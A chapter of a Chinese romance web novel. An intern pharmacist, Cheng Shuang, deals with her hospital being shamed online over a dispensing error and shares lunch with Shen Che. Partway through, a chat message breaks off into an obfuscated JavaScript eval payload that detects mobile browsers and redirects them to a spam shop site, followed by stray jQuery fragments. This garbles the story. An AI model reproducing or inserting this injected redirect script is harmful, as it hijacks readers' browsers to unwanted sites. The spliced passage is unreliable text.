29. 第二十九场雨

作品:《局部地区有雨[撬墙角]

    “在看什么?”


    一阵清冷低沉的嗓音从身侧传来,程双刚好把消息发送了出去,皱起的眉头却没有放下。


    转头向他问道:“你是不是知道?”


    沈澈眼中露出点点不解,这倒有点难得。


    程双把手机举到他面前:“我们医院被人挂网上了。”


    这件事他倒是知道。


    从事件的出发点来看,医院确实是过错方,把错的药物发给了患者。


    但后续全流程医院都在配合患者解决这个问题,无论是身体检查,还是后续治疗,亦或是合理的赔偿,医院都在配合。


    节点是在上周五,医院与当事人已经谈妥。


    这件事的真正受害人,也就是那名孕妇并未出席在整个商谈过程中,所有的流程基本都是她的丈夫出面。


    对于这个人,沈澈没有很好的印象。


    他似是想到什么难以忍受的事般,眉头高高皱起,厌恶至极的表情转瞬即逝,看向程双的表情又变成了一贯的面无表情。


    “周五的时候医院和他谈好了价钱,赔一万,准备周一签合同。”


    “但到了周一,他要十万。”


    听到这个数字程双不免心惊,但沈澈快速靠过来的面孔也让她吓了一跳,她的视线莫名转到他的嘴唇,然后下意识往后靠去。


    沈澈却只是看了一眼她的手机屏幕,然后用目光攥住了她后退的动作,视线也随之转移。


    看着她愈加僵硬的表情,沈澈收回身子,重新发动了汽车,盯着前方接着对她说:“内容应该让专门的人编辑过,流量也很异常,应该不止是他一个人在推动这件事。”


    程双将手机收回,她没想到沈澈能了解到这个程度,也没想到这件事会发展到这个程度。


    她有点紧张地问:“那后续医院准备怎么办?”


    “谈。”他落下一个字,语气里除了烦躁还有点无力。“发到网上我们就成了弱势方,但并不代表他的任何条件我们都要满足,只能接着谈。”


    “但那个男人。”他有点语塞,他的修养使他说不出什么难听的话,“有点不太好办。”


    程双想到了那天那人出口抬手间的态度,就知道沈澈的话有多收敛,“那个孕妇呢?她什么态度。”


    “我们基本很难见到她,她丈夫说她有早产征兆,正在其他地方住院。”


    随即车内陷入沉默。


    沈澈是觉得事情即已发生,总有解决的时候,无需多言。


    而程双,是因为愧疚。


    如果世界上有类似后悔药或者时光机一样的东西售卖,她愿意献出她所有的财富去购买然后阻止这件事的发生。


    但可惜,她只能顶着北城大学和常老师的名头犯下如此低级的错误。


    沈澈很快就察觉到了她的情绪。


    他一直都知道,他身边是一个对情绪极其敏感的女孩。她会因为这点很容易感知他人的情绪,从而做出最适宜的举动,让大家和她相处都感到舒适。但同时,这把匕首的另一端会在这种时刻无情地刺伤她。


    他在车停下来的瞬间,双眼认真地看着她,像是想告诉她,接下来只听我的话语就好。


    “程双。”


    她抬起头和他对视,也在这一瞬间感知到了他未说出口的情绪。


    “你做得很棒,你保护了那个孕妇,你很勇敢。”


    程双的眼中瞬间聚起一些亮晶晶的东西,但数量不算太多,只能堪堪湿润她的眼睛。


    沈澈单手抚过她眼下的青色,似是对她落下咒语:“你现在只需要好好睡一觉。”


    睡意顷刻间落下——


    程双走到寝室后脱了自己的外衣,然后像是扔下一个布娃娃般将自己扔到了床上。


    闭上了沉重的眼睛。


    思绪过载的时候,确实需要好好睡一觉。


    *


    第二天醒来的时候程双有了久违了头脑清醒的感觉。像是有人将她的大脑彻底打扫过一般,所有的东西都摆到了原本应该在的位置。


    清晰而有条理。


    她坐上了去往医院的校车,第一次没有在车上睡觉,而是开始检查起昨天没看的论文。


    到达医院的时候也不过七点,太阳毫不吝啬地将大地照亮,她像是一只小狗一样在太阳底下舒展蜷曲太久的身体,让日光最大程度地落在自己的身上。


    晴天和春天一样,都会将万物生长的喜讯告知每一个愿意停下倾听的人。


    程双脚步坚定地迈进中药房,发现除了一直都来得很早的吴姐,李瑾钒也坐在了办公室里。


    她走了进去,整理自己的表情,再一次诚恳地道歉:“对不起李老师,给您添麻烦了。”


    李瑾钒眼底有着不容忽视的青黑,但听到她的话语后还是扯了扯嘴角,安慰她:“你看到了?别多想,你没有那么大责任。”


    “但他至少有一句话说对了,我们应该以此为戒。”


    程双重重地点头:“我记住了李老师。”


    李瑾钒摆摆手,像是只有空对她说这一句话般:“没吃早饭就去吃早饭,吃了早饭就该干嘛干嘛,该罚的也罚了,接下来就好好干活弥补。”


    程双退了出去,握着自己的手机,找到了正在打盹的吴姐,“吴姐,你能给我看看15号那天的处方吗?”


    吴姐是中药房里除了李瑾钒外程双唯一抱有好感的人,她不怎么言语,总是很早就来到药房,不调剂的时候也不怎么看手机,而是捧着一本又一本的书在看。


    中药处方不是什么需要保密的东西,况且就是几天前的处方,也不难找到。吴姐很快就把这个月的处方都拿给了程双,也没过问她要干嘛。


    程双看着吴姐又走回了之前坐的椅子上,便开始低头仔细翻找着。15号那天的处方并不多,里面只有一张处方诊断上写着孕35周,心脾两虚。


    患者叫张盼宁,24岁。


    程双第一反应是惊讶,她居然与自己同岁,却已经有了两个孩子。


    她默默记下了她的电话,然后用微信搜索,留下备注:“张女士您好,我是不久前为您儿子诊治的孙医生,需要和您沟通一下您儿子的后续情况。”


    她不确定这个电话现在是否在那个男人手里,更不敢贸然拨打过去打草惊蛇,只能在心中祈祷这个微信至少是张盼宁本人在看。


    做完这些程双的心脏已经开始有些无序地跳动了,她想看看自己能否在这件事里挽回一些什么,但又要足够谨慎,至少不能给李老师拖后腿。


    程双今天一有空就会点开微信,通讯录里并没有传来新好友的消息。


    却在中午按时收到了沈澈的消息:【


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888936|192144||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上来吃饭。】


    他的消息越来越简单,甚至不知何时开始已经不再去找和她吃饭的理由,似乎这件事就是和太阳东升西落一般自然地发生在每天里。


    程双洗干净了手,戳了戳手机,沈澈如同文件传输助手般的对话框里罕见地出现了一张小狗的头像。


    柚柚:【今天吃什么?】


    他几乎是秒回:【青椒炒肉、腊肉笋丝、肉沫香干、西红柿鸡蛋汤。】


    程双看见那头报的菜名,脚步无意识地加快。


    这次又是程双拿钥匙开的门,门开后她把钥匙圈在手上小幅度地转着圈,看着布好菜在单人沙发上拿平板处理工作的男人。


    他明明穿着剪裁得体的西服正装,整个人肃冷又帅气,但程双莫名有种自己下班回家看见贤良的妻子为她做好饭迎接她的错觉。


    程双晃了晃自己的脑袋,把这种可怕的想法从脑子里赶出去。心虚地转移自己的注意力:“你之前不都是开着门吗,为什么现在都要我来开门?”


    程双走近后沈澈递来了一杯温水,看着她接过后才开口:“你不是有钥匙吗?”


    语气很是理所当然,她甚至都无法反驳。


    程双坐下后又接过了沈澈递过来的碗筷,粒粒分明的米饭已经被装载在内。她只需要挑选自己喜欢的菜然后享受午餐就好。


    而恰好,今天也都是她喜欢吃的菜。


    程双吃得餍足,甚至还让沈澈又帮她加了一碗饭。


    她忍不住问道:“沈澈你这些饭菜都是哪买的,我想带我朋友去吃。”


    沈澈收拾碗筷的动作一顿,抬头看她的目光带有些打探之意:“哪个朋友?和你去喝酒的那个?”


    程双注意力都放在装着车厘子的玻璃盒里,将看中的一颗丢入嘴里,声音也变得不再清晰:“昂,还有我另一个室友,我想带她们一起去吃。”


    听到是室友,男人收起了目光里的锐意,将离得有点远的玻璃盒推到了她的面前。


    语气也变得柔和:“是家里的阿姨做的,喜欢的话可以来吃。要是想带室友吃的话,可以去清宴。”


    程双自动忽略上半句:“清宴是在哪儿?”


    “就是上次你和我妈妈一起去的地方,要去的话可以提前和我说。”


    程双继续吃着车厘子:“哦,和你说了是不收钱吗?”


    沈澈露出点笑意:“嗯,不收钱。”


    程双把吃空的碗推回他面前:“你可能不知道我的实力。”


    沈澈的笑意扩大:“嗯,我知道,我是怕你们不好约位。”


    无论程双说什么,他都有话接的样子。明明平时看起来像是一个锯了嘴的葫芦。


    程双不再开口,抱着电脑坐到了沙发另一头,打字的速度很快,键盘响起的声音像是在刻意掩饰着什么。


    沈澈收拾好桌面也走到了自己的办公桌前,开始办公。


    暖气早已停止供应,室内的温度也不再寒冷,暖黄的阳光透过白色的纱幔细细地铺洒在地上,飘落在发着细闪的空气中,舒适得让人忍不住眯起眼睛。


    窗户旁的树上偶尔落下几只拖着长尾的鸟儿,鸣唱的声音婉转动听,动作轻快地将新衔的春泥放在枝丫上。


    春意到底是何时被布撒得如此细密?


    程双不自觉地开始走神思考。